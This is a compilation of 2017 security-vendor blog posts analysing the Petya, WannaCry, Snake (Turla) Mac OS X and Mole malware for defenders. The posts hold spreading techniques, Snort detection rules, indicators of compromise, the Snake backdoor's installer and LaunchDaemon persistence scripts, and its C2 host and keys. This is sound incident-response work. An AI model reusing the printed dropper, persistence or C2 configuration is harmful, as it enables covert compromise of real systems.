Revision history:  Update 1 (current): 28th of June, 2017 22:00 (UTC +2)

Q1 Is the Petya attack still in progress?
A: The initial attack vector appears to have been the accounting software M.E.Doc, for which a malicious software update was pushed, that was executed by clients in an automated fashion. Multiple organisations confirmed that this was their initial infection vector. After the initial infection vector Petya can utilize different kind of spreading mechanisms:

Using the EternalBlue and EternalRomance exploits, which are both exploits of the NSA that were published on the 14th of April 2017 by the Shadow Brokers. These exploits can be used to gain unauthorized access to remote Windows systems and execute malicious software with administrative privileges. Using a variety of methods, both legitimate and illegitimate. The following 4 steps are followed by the malware to spread itself:

  1. Tries to find credentials:
    • Method 1: Uses a custom tool to extract credentials from memory (code similarities with MimiKatz and accesses Windows LSASS process)
    • Method 2: Steals credentials from the credential store on the infected systems
  2. Makes an inventory of the local network for other machines. If found, it checks whether port 139 or 445 is open
  3. Checks via WebDAV whether the enumerated systems have already been infected. If this is not the case, it will transfer the malware to the other systems via SMB;
  4. Utilizes PSEXEC or WMI tools, to remotely execute the malware.

Please note that the initial infection vector of the M.E.Doc update (and a related watering hole attack on a Ukrainian website) were cleaned. However, Petya can still spread to the following networks for a limited amount of time, based on the functionality outlined above:

  1. The local network (reserved IP spaces);
  2. To remote networks of third parties that are directly connected with the networks that contain systems that are already infected with Petya.

Q2 Which attack vectors are used to enter internal networks of organizations?
A At the moment the first infection method that has been observed in the wild concerns the infected update from M.E.Doc. After initial entry into an internal network of an affected organization has been obtained, different spreading methods are used to further infect systems. These methods include the NSA exploits EternalBlue and EternalRomance in combination with harvesting and reusing passwords to perform remote command execution (with psexec and WMI) on other systems.

Q3 Are only companies affected  that use M.E.Doc?
A No, the attack initially targeted organizations that were using M.E.Doc, but the worm also spread to other (connected) organizations that were not related to M.E.Doc.

Q4 How is it possible that I became infected with Petya, while being full up to date and having all patches installed?
A: The Microsoft patch MS17-010 protects Windows systems against direct infection by the EternalBlue and EnternalRomance NSA-exploits. However, Petya includes additional methods to spread to Windows systems.

Most notably, the Petya malware can extract local Administrator and domain credentials from systems that are initially infected (for example because these systems were not patched). Subsequently, the malware can leverage these administrative credentials in combination with legitimate Microsoft tools and protocols (PSEXEC and WMI) to infect fully patched Windows systems.

Q5 How can I check if my organization is at risk for the Petya attack?
A Checking if you are at risk for this attack involves multiple actions, due to the fact that the attack itself uses different methods to propagate within networks. The following actions can be performed to identify potential vulnerable machines within the network:

  • Perform a network portscan to identify systems on which the TCP ports 139 and 445 are open. The more machines that are accessible on these ports, the more potential risk of the attack spreading to large amounts of systems within the network.
  • Perform a vulnerability scan to identify machines which are missing the MS17-010 (and the KB2871997) patch. If the patches are missing, the identified systems are vulnerable to the one of the spreading and infection methods used by the malware.
  • Perform an inventarisation of administrative credentials to identify if there are passwords shared between multiple machines. If this is the case, the systems which can be accessed using these administrative credentials are vulnerable to one of the spreading and infection methods used by the malware.
    • The most important accounts to focus on during this inventarisation are accounts with elevated privileges such as local Administrator accounts and  domain accounts with local administrator privileges.

It is important to consider that the infection, privilege escalation and lateral movement techniques used by the Petya malware are also frequently used during penetration testing on internal networks. It is therefore advised to review previous reports that followed internal penetration tests to get a quick overview of relevant vulnerabilities and to ensure that penetration tests on the internal networks are performed periodically.

Q6 We have infected machines what can we do to recover them? Should we pay the ransom?
A The email address that was used by the attackers to receive payments and release decryption keys has been blocked by the email provider. This makes it impossible for the actor(s) behind the Petya malware to confirm the payments and return the decryption keys to its victims. It is therefore not recommended to pay the ransom of $300 (or the equivalent in the Bitcoin currency) as requested by the malware authors.

Please note that after a system is infected, the malware attempts to spread before it is rebooted and the encryption process is started. Consequently, if a system is infected with Petya, but has not yet been rebooted or the fake CHKDSK process has not been completed, it may still prove possible to (partially) recover data from the infected system.

Q7 Do you know anything about the target of the Petya attack or the actors behind it?
A One of the few confirmed facts is that initially infections occurred due to an infected update from the Ukraine based company M.E.Doc. The software of this company is both broadly and mostly used by organizations in the Ukraine. These organizations within the Ukraine were thus initially targeted by the Petya attack.

This fact, combined with some of the characteristics of the attack, have led to extensive speculation in regard to the actors behind the attack (of which the grugq provides an extensive overview). However, at the moment there is no definitive public evidence to attribute the attack to a specific actor. The investigation into the purpose of the attack and the actors behind the attack are still being actively investigated by Fox-IT and many others.

Q8 How does the Petya attack differ from the Wanacry/Wannacrypt attack?
A This Petya attack seems to be more targeted than Wanacry. While WanaCry included functionality to scan for vulnerable systems on the Internet, the Petya attack primarily targets other systems within the restricted IP spaces of affected networks.
One of the few similarities between Petya and Wanacry concerns the usage of the SMB exploit EternalBlue, which is an exploit that was originally used by the NSA and was subsequently leaked by the Shadow Brokers. This is the only spreading vector of Petya which can be stopped and prevented by installing the MS17-010 patch. The other spreading vectors cannot be fully reduced by patching the systems, although installing the KB2871997 patch can reduce the impact of the other spreading vector.

In addition to EternalBlue, Petya includes further methods for spreading using lateral movement techniques such as credential re-use, PSEXEC and WMI. These techniques, which are often used in manual attacks by advanced attackers as well as during penetration tests on internal networks, have now been adapted and incorporated into an automated attack by the attackers in the Petya malware.

In regards to the encryption of the files Petya and Wanacry differ in the way that the system is rendered inoperable. Petya, in addition to encrypting individual files also encrypts critical operating system components thereby rendering the system inoperable after a reboot. The encryption of the individual files differs due to the way that the files are encrypted as well as the file types that are targeted.

Q9 I have heard rumors about an antidote or kill switch, is this true?
A Petya does not have a remote killswitch in the same way as was present in Wanacry. That is, there is no universal way to stop all Petya infections from occurring. A more limited and local way to prevent the Petya malware from spreading does exist, which is also referred to as a “killswitch” or an “antidote”.

This local antidote involves placing a file called “perfc” or “perfc.dat” in the C:\Windows directory. The reason why this works is because Petya checks if that file exists before infecting a vulnerable system. If the file exists, Petya won’t infect the system. Please note that Petya actually checks for a file with the same name as the filename that it was started from. So if the Petya file is renamed to “example.dll”, subsequent variants of that strain of the Petya malware will actually check if C:\Windows\example” exists, instead of “perfc”. It just so happens to be that “perfc” is the filename of the main variant that’s currently spreading.

Q10 Are the patches for Wanacry and Petya automatically installed by Windows Update?
A On supported operating systems the patch can be installed through the Windows update mechanism. If Windows update has been configured to update automatically, these systems should have been updated with MS17-010 several months ago. However, this is not the case on unsupported operating systems such as Windows 2003, XP and 8. Microsoft has released patches for these operating systems that need to be downloaded and applied manually.

Liveblog: Huge Petya ransomware wave

Revision history:

  • Update 2 (current): 28th of June, 2017 22:45 (UTC +2) – Added Snort rule for detection purposes
  • Update 1: 27th of June, 2017 18:04 (UTC +2) – Initial post


A new variant of the Petya ransomware started to spread havoc within various companies around the world the 27th of June 2017 . The first news came from the Ukraine where at least two energy companies were struck.


This Petya variant comes only weeks after the WannaCry hack made headlines around the world where hundreds of thousands devices were infected.

This variant of Petya has more spreading methods than WannaCry (in specific PSEXEC and WMI) but does share at least one of the exploits, namely: EternalBlue, which is an exploit leaked by ‘The Shadowbrokers’ and originally used by the NSA.

The Petya ransomware was in the news earlier this year for encrypting the entire hardisk rather than only files on local and remote drives, something which is more common with other ransomware.


Cisco Talos reports that the infections started in Ukraine following the auto-update feature of software by the Ukrainian company Me-Doc. Attackers likely got access to the Me-Doc update servers, using the update feature of the software to infect all their, mostly Ukrainian customers. This explains the disruptions observed within various Ukrainian companies, including airports, hospitals and other vital infrastructure. This supports what Fox-IT is observing, affected companies have business in Ukraine and observed initial Petya activity from those networks.

Because of the various spreading mechanisms of Petya the ransomware managed to reach companies in other countries, most likely as a result of existing network connections between (branch) offices or suppliers.


When a computer gets infected with this specific version of Petya, it starts to encrypt files on the local machine and also attempts to spread across the local network to other machines.

After a number of hours, the infected client is restarted and is faced with a ransom screen. At this point it is no longer possible to start the Windows operating system. On this ransom screen a bitcoin address is shown, together with a string of text that uniquely identifies this infection as well as the email address to contact the authors when the payment has been made.

Infection vector

Where WannaCry was scanning random IP addresses on the internet, and in that way infecting other companies, this version of Petya is only scanning internal hosts. This means that there must be a different initial infection vector. What this vector exactly is, is unknown for the time being. If the ransomware is run on a Windows Server, it will attempt to spread to all connected clients by looking at DHCP-leases, to greatly improve spreading speed within a network.


The following measures can be taken to limit the chances of infection:

  • Apply Windows update MS17-010
  • Disable the outdated protocol SMBv1
  • Limit the use of accounts that are ‘local administrator’
  • Make back-ups and verify that they can be restored


Currently the Fox-IT CTMP network module is able to detect a number of the spreading methods of Petya and work is being done to identify other methods of spreading. Among others the following rule has been developed:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"FOX-SRT - Trojan - Possible Petya ransomware connection"; flow:established,to_server; uricontent:"admin$/"; content:"User-Agent: Microsoft-WebDAV-MiniRedir/"; http_header; classtype:trojan-activity; threshold:type limit, track by_src, count 1, seconds 600; reference:url,https://blog.fox-it.com/2017/06/27/liveblog-huge-petya-ransomware-wave/; sid:21002170; rev:1;)

FAQ on the WanaCry ransomware outbreak

Last updated: May 16th 2017

A ransomware variant known as WanaCry/WanaCrypt0r has spread on a massive scale around the world since the 12th of May 2017. For more information about the context with regards to this WanaCry variant, see also our earlier blog. The section below outlines the frequently asked questions and corresponding answers.

Q: What makes this ransomware variant so dangerous?
A: This variant of WanaCry posesses the capability to spread itself as a so-called worm, beside the fact that the ransomware starts encrypting possible important data on systems. This means that the initial infection in a network is possibly not only system that could be impacted, but potentialy a large amount of systems in the internal network as well. This might result in your business processes coming to a grinding halt.

Q: What was the initial infection vector for the ransomware outbreak?
A: As there is no evidence that the initial infection vector is email, after 72 hours of research by the security community, Fox-IT believes the infection vector is more likely to be vulnerable machines directly exposing SMB to the internet.
At the moment it appears that the only confirmed infection vector is the usage of the ETERNALBLUE SMB exploit.

Q: Which versions of Windows are vulnerable?
A: The SMB exploit works on all versions of Windows, which have not yet been patched by MS17-010 on the 14th of March 2017, except for Windows 10 and Windows Server 2016, as they are already protected in the default configuration.

Q: What about Windows XP?
A: Microsoft has also released a patch for the unsupported operating systems Windows XP and Windows Server 2003.

Q: Are we safe from WanaCry if we apply the security update to Windows Server 2003?
A: Yes, but the patch KB4012598 applies specifically to this SMB exploit, known as ETERNALBLUE. However, similar NSA exploits, leaked by the Shadow Brokers, for vulnerabilities in Windows Server 2003 and Windows XP were published that lead to remote code execution (RCE). This includes the ERRATICGOPHER exploit for SMBv1 and the ESTEEMAUDIT exploit for RDP, which could be repurposed by malicious actors to create the next ransomworm.

Q: How many endpoints are affected?
A: The sinkhole statistics currently show a total of 160,000+ infections, this amount is still rapidly increasing.

Q: Should we block the ‘kill-switch’ domain on our firewall/proxy?
A: No you should not. When the malware is capable of reaching the ‘kill-switch’ domain it will not further spread the malware. Please note that when you block this domain, it will in fact continue spreading both internal and external.

Q: Is the kill switch domain being monitored (counting infections, origin infections)?
A: Yes the sinkhole statistics can be found here.

Q: Do we expect new attacks with the same Modus Operandi (MO)?
A: This is very likely, as this is a lucrative way of earning money for criminals. It is unknown at what moment in time a new attack will start and we do not have indications at this point in time that another campaign is scheduled.

Q: Where can I find the ‘kill switch’ domain?
A: Two ‘kill-switch’ domains have been seen in the wild:


Q: Is the malware persistant and will it become active after a reboot of the end point.
A: Yes, a registry run-key is added to the registry:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\ = “\tasksche.exe”

Q: How can I check if an endpoint was infected?
A: Though there is no specific script there are several specific indicators for this ransomware campaign which can be used to detect compromised machines, such as:

HKLM\SOFTWARE\WanaCrypt0r\\wd = “”
HKCU\Control Panel\Desktop\Wallpaper: “\@WanaDecryptor@.bmp”

Q: Is CIFS also vulnerable?
A: CIFS is a dialect of the SMBv1 protocol, and is impacted by this vulnerability.

Q: What impact will disabling SMB v1 have on end users?
A: Please note that this might differ depending on the situation. It is highly recommended to follow the best practices with regards to applying patches, meaning that a thorough impact assessment needs to take place to determine the actual impact of disabling SMBv1. Please note that at least those systems that could solely communicate via SMBv1 will be impacted, for example an old file sharing system.

Q: What are Anti-Virus vendors doing about this?
A: It seems logical that most cybersecurity companies are currently working on finding out all of the details that are related to this attack. It also seems very likely that all cybersecurity vendors are creating prevention and detection capabilities. Though new detection or prevention capabilities can only be applied if updates for these products are being downloaded and installed. We would not encourage customers to focus and wait on these vendors to prevent these kind of attacks but rather focus on installing the Microsoft update (MS17-010) that will prevent the spreading completely.

Q: What if infected laptops are currently offline because people are enjoying their weekends and are returning on monday?
A: It depends on which stage the infection is in the victim machine. If the machine has already been infected and was half way during the infection then it is very likely that the victim machine will continue encrypting files and start spreading when it will become active again. Therefor we strongly suggest to install the Microsoft update (MS17-010).

Q: What are the chances that a new campaign will be launched with more or improved functionality?
A: Based on our experience it is very likely that the same or other attacker(s) will start launching new campaigns rather sooner then later. We expect that they have learned from the small mistakes they have made in the initial version, such as not registering the ‘kill switch’ domain. They could also improve the malwares functionalities that can bypass current prevention or detection techniques. Therefor we strongly suggest to install the Microsoft update (MS17-010).

Additionally, the exploitation of this vulnerability will serve as an example for other (cyber) criminals seeking to achieve similar goals, so called copycats.

Q: Do we have to block the the ‘kill switch’ domain in the firewall, or other security controls like Proxy Servers?
A: NO! Do not block access to the unique ‘kill switch’ domain as infected clients will then start using the SMB exploit against reachable machines that are vulnerable.

The unique ‘kill-switch’ domain has been registrered by a known security researcher. By doing this the ransomware and the spreading mechanism used in the current malware campaign will not function.
If you block access to this domain then an infected client will start encrypting all of your files and will start spreading to available vulnerable devices.

Q: Does the ‘kill-switch’ domain need a valid HTTP connection or is resolving this domain name enough for the malware to stop functioning?
A: Yes, the ‘kill-switch’ domain does need a valid HTTP connection to a webserver listening on port 80. If the malware is not able to make a succesfull connection on port 80 it will start the ransomware and spreading process.

Q: Is the Linux Samba equivalent also vulnerable?
A: No, the Linux Samba protocol is not vulnerable to this exploit, only the Microsoft SMB protocol, without the latest Microsoft patch (MS17-010) installed, is affected.

Q: There are some reports of WannaCry variants with no ‘kill-switch’ functionality, have you seen this?
A: Yes, Fox-IT has this variant. It seems that someone modified the original malware sample. Likely with a common tool like hexedit. There has been another sample where the ‘kill switch’ domain has been completely patched out, thus resulting in a corrupt binary. Fox-IT is actively monitoring for new versions of the WanaCry ransomware.

Q: Has the ransomware’s implementation of the encryption process been looked at, to see if files are recoverable?
A: The crypto that is used in the malware seems to have been implemented in an unbreakable way. At this point decryption does not seem possible.

Q: Is there anything known about what group is behind this ransomware campaign?
A: Fox-IT, like other security researchers, is investigating connections of WanaCry to other known groups.

Massive outbreak of ransomware variant infects large amounts of computers around the world

Today, May 12th 2017, a ransomware variant known as WanaCry is being spread on a massive scale around the world.
Once a computer is infected it will attempt to infect other machines on the same network using a recently patched vulnerability in the Windows SMB protocol.

Update: We have published an FAQ to answer additional questions about the ransomware outbreak


  • Apply Windows update MS17-010
  • Microsoft has also released a patch for Windows XP.
  • Disable the outdated protocol SMBv1
  • Do not allow connections to the RDP or SMB protocol directly from the internet
  • Isolate unpatched or unsupported systems from the internal network
  • Make back-ups and verify that they can be restored

About this campaign

This ransomware campaign is especially dangerous as it spreads itself through the internal network using a recently patched Windows vulnerability.
Once a machine is infected it will scan the entire internal network and infect vulnerable machines.

Machines are not required to be connected to the internet for the encryption process to take place.

The exploit used by this ransomware campaign was leaked by a group known as the ‘Shadow Brokers’ and has now been repurposed by the attackers behind this campaign to infect machines in internal networks. Microsoft has released a patch for this specific vulnerability (MS17-010) on March 14th 2017. Machines that have been patched are not vulnerable to the exploit, but could still be infected through other infection methods such as phishing e-mails.


After looking at the ransomware’s code Fox-IT noticed that the malware had a hardcoded kill switch which could disable all functionality.
Once the ransomware is running on a victim’s machine it tries to connect to the domain iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com.
If the connection succeeds, the binary exits and will not start encrypting files nor start spreading.

It appears that a fellow security researcher (@MalwareTechBlog) spotted the domain and found out it was not registered by the attackers.
This was a sloppy mistake by the hackers, given the large campaign it was engaged in.
This security researcher has registered the domain name and as soon it was replying to requests it seems that the kill switch in the malware became active. This means that anyone who has received the actual phishing email but did not open it yet appears to have been saved.
The domain seems to be registered at 17:08:04 CEST. This could be one of the possible exaplanations as to why the hardcoded Bitcoin wallets have not received a large amount of Bitcoins.

The large amount of damage caused today and all international press attention have given everybody a heads up of what to expect.
With the majority of the big organisations starting with their weekend, offices are closed. System administrators and security personal could use this weekend to take prevention, detection and response measures. If everyone comes back in the office by Monday and a new wave of phishing attacks would start, without a kill-switch, the damage could be far less than expected at this stage. Though we have learned a lot, the cyber criminals will have as well.


Snort signatures from Emerging Threats are available for the ETERNALBLUE exploit:

alert tcp any any -> $HOME_NET any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Heap Spray"; flow:to_server,established; content:"|ff|SMB|33 00 00 00 00 18 07 c0 00 00 00 00 00 00 00 00 00 00 00 00 00|"; offset:4; depth:25; content:"|08 ff fe 00 08 41 00 09 00 00 00 10|"; within:12; fast_pattern; content:"|00 00 00 00 00 00 00 10|"; within:8; content:"|00 00 00 10|"; distance:4; within:4; pcre:"/^[a-zA-Z0-9+/]{1000,}/R"; threshold: type threshold, track by_src, count 12, seconds 1; classtype:trojan-activity; sid:2024217; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (set)"; flow:to_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response"; flow:from_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:1;)

The ransomware itself communicates using the Tor protocol.

Infection vector

One of the confirmed infection vectors is the usage of the ETERNALBLUE exploit directly on machines which have SMB directly exposed to the internet.

This chapter previously stated that we were in the process of verifying if phishing e-mails were also an infection vector for the WanaCry ransomware. Thus far Fox-IT has found no evidence that any phishing e-mails were related to this specific ransomware outbreak, and we have therefor removed the related indicators from this blog.

Command and Control servers

  • cwwnhwhlz52ma.onion
  • gx7ekbenv2riucmf.onion
  • xxlvbrloxvriy2c5.onion
  • 57g7spgrzlojinas.onion
  • 76jdd2ir2embyv47.onion

Bitcoin addresses

Available languages in the ransomware

  • m_bulgarian
  • m_chinese (simplified)
  • m_chinese (traditional)
  • m_croatian
  • m_czech
  • m_danish
  • m_dutch
  • m_english
  • m_filipino
  • m_finnish
  • m_french
  • m_german
  • m_greek
  • m_indonesian
  • m_italian
  • m_japanese
  • m_korean
  • m_latvian
  • m_norwegian
  • m_polish
  • m_portuguese
  • m_romanian
  • m_russian
  • m_slovak
  • m_spanish
  • m_swedish
  • m_turkish
  • m_vietnamese



Danny Heppener, Erik Schamper, Maarten van Dantzig & Frank Groenewegen
Fox-IT Threat Intelligence

Snake: Coming soon in Mac OS X flavour


Snake, also known as Turla, Uroburos and Agent.BTZ, is a relatively complex malware framework used for targeted attacks1.

Over the past year Fox-IT has been involved in multiple incident response cases where the Snake framework was used to steal sensitive information. Targets include government institutions, military and large corporates.

Researchers who have previously analyzed compromises where Snake was used have attributed the attacks to Russia2. Compared to other prolific attackers with alleged ties to Russia, such as APT28 (Fancy Bear) and APT29 (Cozy Bear), Snake’s code is significantly more sophisticated, its infrastructure more complex and targets more carefully selected.

The framework has traditionally focused on the Windows operating system, but in 2014 the first Linux variant was observed3.

Now, Fox-IT has identified a version of Snake targeting Mac OS X.
As this version contains debug functionalities and was signed on February 21st, 2017 it is likely that the OS X version of Snake is not yet operational.
Fox-IT expects that the attackers using Snake will soon use the Mac OS X variant on targets.


For Windows versions the architecture of Snake typically consists of a kernel mode driver designed to hide the presence of several Snake components and to provide low-level access to network communication. Depending on the architecture of a targeted machine either kernel or user mode is used for network communication.

The OS X version of Snake is a port of the Windows version. References to explorer, Internet Explorer and Named Pipes are still present in the binary.

Install Adobe Flash Player.app

The Snake binary comes inside of a ZIP archive named Adobe Flash Player.app.zip which is a backdoored version of Adobe’s Flash Player installer.

The install.sh script is patched with the following lines:

SCRIPT_DIR=$(dirname "$0")
cp -f "${SCRIPT_DIR}/queue" "${TARGET_PATH}/queue"
cp -f "${SCRIPT_DIR}/installdp" "${TARGET_PATH}/installdp"
cp -f "${SCRIPT_DIR}/installd.sh" "${TARGET_PATH}/installd.sh"
cp -f "${SCRIPT_DIR}/com.adobe.update" "$TARGET_PATH2/com.adobe.update.plist"
"${SCRIPT_DIR}/Install Adobe Flash Player"
exit $RC

The installd.sh that is invoked contains the following code:

SCRIPT_DIR=$(dirname "$0")
PIDS=`ps cax | grep installdp | grep -o '^[ ]*[0-9]*'`
if [ -z "$PIDS" ]; then
${SCRIPT_DIR}/installdp ${FILE} n

The shell script checks if installdp is already running, if not it will start with:

/Library/Scripts/installdp /Library/Scripts/queue#1 n


The backdoor is persisted via Apple’s LaunchDaemon service:

$ plutil -p /Library/LaunchDaemons/com.adobe.update.plist
"ProgramArguments" => [
0 => "/Library/Scripts/installd.sh"
"KeepAlive" => 1
"Label" => "com.apple.update"
"OnDemand" => 1
"POSIXSpawnType" => "Interactive"

Codesigning details

In order for an Application to be run on OS X it has to be signed with a valid certificate issued by Apple or it would be blocked by GateKeeper (unless configured otherwise). The following, likely stolen, developer certificate was used to sign the fake Adobe Flash installer which includes the Snake binary:

Executable=Install Adobe Flash Player.app/Install
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=390 flags=0x0(none) hashes=12+3 location=embedded
Hash type=sha1 size=20
CandidateCDHash sha1=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Hash choices=sha1
Signature size=4231
Authority=Developer ID Application: Addy Symonds (EHWBRW848H)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Signed Time=21 Feb 2017 08:55:36
Info.plist entries=22
Sealed Resources version=2 rules=12 files=86
Internal requirements count=1 size=188

Fox-IT has informed Apple’s security team with the request to revoke the certificate.

Debug build

Several strings found throughout the binary indicate that this version is in fact a debug build.

fwrite("Usage: snake_test e[vent]|n[ormal]\n", 0x30uLL, 1uLL, *__stderrp_ptr);
fprintf(v16, "[%s:%s:%d] %s\n", "../../../snake/snake_test.c", "main", 86LL, err);

An interesting observation is the fact that the contents of a temporary file storing command output are converted using KOI8-R encoding, designed to cover the Russian language, which uses the Cyrillic alphabet.

ascii2uni(koi8_str, unicode_str, -1LL, "KOI8-R");

This indicates that the developers tested with Russian command output (encoded using the KOI8-R codepage). On systems where the command output is displayed in another language (and another codepage), text would be incorrectly respresented in Cyrillic characters.

Queue file

Builds of Snake generally contain a Queue file. Queue files are used to store Snake’s configuration data, module binaries and queued network packets.

$ python MM_snake_queuefile.py queue
0x0000006c 00000001 0002 00000227 00000010 2017-02-10 12:23:22 '\x98\xa7w{\xc7\xcc4\x03-\xdcz\x0b\xc9,`\x1c'
0x000000bc 00000001 0002 00000228 00000010 2017-02-10 12:23:22 '\x90*\xa6\xc5c\x89H\xe2>\x9fS\x1f\xb2\x0b\xf8\xb7'
0x0000010c 00000001 0002 00000229 00000010 2017-02-10 12:23:22 '\x95\x9a\xdf\x82\xf8l\xbe.YR)\xcc\x1a{\xac\x8f'
0x0000015c 00000001 0002 000000df 00000009 2017-02-10 12:23:22 '300000\x00'
0x000001a5 00000001 0002 000000e0 00000009 2017-02-10 12:23:22 '600000\x00'
0x000001ee 00000001 0002 00000190 00000009 2017-02-10 12:23:22 '20000\x00'
0x00000237 00000001 0002 000000e1 00000009 2017-02-10 12:23:22 '4096\x00'
0x00000280 00000001 0002 000000e2 00000009 2017-02-10 12:23:22 '65536\x00'
0x000002c9 00000001 0002 00000143 00000009 2017-02-10 12:23:22 '4096\x00'
0x00000312 00000001 0002 00000144 00000009 2017-02-10 12:23:22 '65536\x00'
0x0000035b 00000001 0002 00000001 00000009 2017-02-10 12:23:22 '1000\x00'
0x000003a4 fffffffd 0002 00000229 00000010 2017-02-10 12:23:22 '\xfb \xb20\x87\xb9m\xa2\x80!\x80\xcc\x1aJbX'
0x000003f4 00000001 0002 00000008 00000011 2017-02-10 12:23:22 '0xfd4488e9\x00'
0x00000445 00000001 0002 00000009 00000009 2017-02-10 12:23:22 '0\x00'
0x0000048e 00000001 0002 00000064 00000009 2017-02-10 12:23:22 '2\x00'
0x000004d7 00000001 0002 00000065 00000021 2017-02-10 12:23:22 'enc.unix//tmp/.gdm-socket\x00'
0x00000538 00000001 0002 00000066 00000031 2017-02-10 12:23:22 'enc.frag.reliable.doms.unix//tmp/.gdm-selinux\x00'
0x000005a9 00000001 0002 00000070 00000029 2017-02-10 12:23:22 'read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4\x00'
0x00000612 00000001 0002 00000071 00000019 2017-02-10 12:23:22 'psk=R@gw1gBsRP!5!yj0\x00'
0x0000066b 00000001 0002 000000c8 00000009 2017-02-10 12:23:23 '1\x00'
0x000006b4 00000001 0002 000000c9 00000029 2017-02-10 12:23:23 'enc.http.tcp/car-service.effers.com:80\x00'
0x0000071d 00000001 0002 000000d4 00000029 2017-02-10 12:23:23 'psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00'
0x00000786 00000001 0002 0000012c 00000009 2017-02-10 12:23:23 '1\x00'
0x000007cf 00000001 0002 0000012d 00000029 2017-02-10 12:23:23 'enc.http.tcp/car-service.effers.com:80\x00'
0x00000838 00000001 0002 00000138 00000029 2017-02-10 12:23:23 'psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00'

The following transport chains are configured in this queue file:

enc.unix//tmp/.gdm-socket read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4
enc.frag.reliable.doms.unix//tmp/.gdm-selinux psk=R@gw1gBsRP!5!yj0
enc.http.tcp/car-service.effers.com:80 psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0

Obfuscated strings

Snake binaries contain strings that can be obtained through snake_name_get() call. These strings are stored as a pair of 0x40 byte blobs that are XOR-ed against each other. In this binary the blobs only contain placeholders that are yet to be replaced by the actual values, which is another indication that this Snake binary is not yet ready to deploy to targets.

00187e20 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
00187e30 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
00187e40 35 34 43 41 37 51 55 45 55 45 5f 50 41 54 48 5f |54CA7QUEUE_PATH_|
00187e50 55 4e 49 58 00 00 00 00 00 00 00 00 00 00 00 00 |UNIX............|
00187e60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00187ea0 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
00187eb0 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
00187ec0 35 34 43 41 37 4d 45 4a 49 52 4f 44 5f 50 41 54 |54CA7MEJIROD_PAT|
00187ed0 48 5f 44 41 52 57 49 4e 00 00 00 00 00 00 00 00 |H_DARWIN........|
00187ee0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

Indicators of compromise




b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea Install Adobe Flash Player.app.zip
5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060 Install
0a77f1b59c829a83d91a12c871fbd30c5c9d04b455f497e0c231cd21104bfea9 install.sh
7848f7808af02ba0466f3a0687cf949c4d29a2d94b035481a3299ec519aaaa30 Install Adobe Flash Player
d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2 Installdp
b6df610aa5c1254c3af5b2ff806562c4937704e4ac248577cdcd3e7e7b3578a0 com.adobe.update
6e207a375782e3c9d86a3e426cfa38eddcf4898b3556abc75889f7e01cc49506 installd.sh
92721d719b8085748fb66366d202457f6d38bfa108a2ecda71eee7e68f43a387 queue


The following domain is configured in Snake's queue file for HTTP network transport:


The resolving IP belongs to a Satellite communications provider:

Though Snake is typically spread using spear-phishing e-mails and watering hole attacks Fox-IT has not yet observed this sample being spread in the wild.

Jelle Vergeer, Krijn de Mik, Mitchel Sahertian, Maarten van Dantzig & Yun Zheng Hu
Fox-IT Threat Intelligence


A Mole exposing itself to sunlight

With the daily growth of the different kinds of ransomware and distribution techniques, Fox-IT’s Security Operations Center was investigating a new ransomware called Mole. This ransomware is currently being spread by a social engineering exploit kit to trick the user in downloading a malicious executable.

The ransomware author of Mole made a small mistake, which gives everyone the statistics of all the infected clients.

Distribution of Mole

The social engineering exploit-kit tricks the user in downloading and installing a malicious “plugin” for Office.


After executing the malicious “plugin”, the user receives a fake pop-up displaying an error message. Although the message indicates that the installation has failed, it’s an indicator that ransomware is successfully executed. After displaying the fake error message, certain processes will be terminated, the Windows backups used for recovery will be deleted and the encryption process will be initiated.


Once the encryption process is done, all the files will have the .MOLE extension and a ransom note will be displayed. Currently it’s not possible to recover your files for free, the only solutions is to clean the pc from the infection and restore from a recent backup.

What makes this ransomware different?

Compared to all the other ransomware currently being spread, Mole isn’t any different.
Except that the author of the Mole-ransomware made a small mistake, the statistics of Mole’s infections are openly accessible.



While tracking the infection process, Fox-IT noticed a sudden growth in infections within few hours’ time. The current total of infections is 500+ and growing, further investigation indicates that almost 50% of the IP’s were unique. The fact that around the half of the IP’s are unique, could be because companies are being targeted.

1 United States 86
2 Great Britain 17
3 Germany 12
4 Korea 11
5 India 11
6 Netherlands 10
7 China 10
8 Canada 8
9 France 6
10 Norway 5

Top 10 unique IP infections per country


Indicators of compromise

Hash: 5ca18c9f5ec26a30de429accf60fc08b0ef785810db173dd65c981a550010dde (pluginoffice.exe)
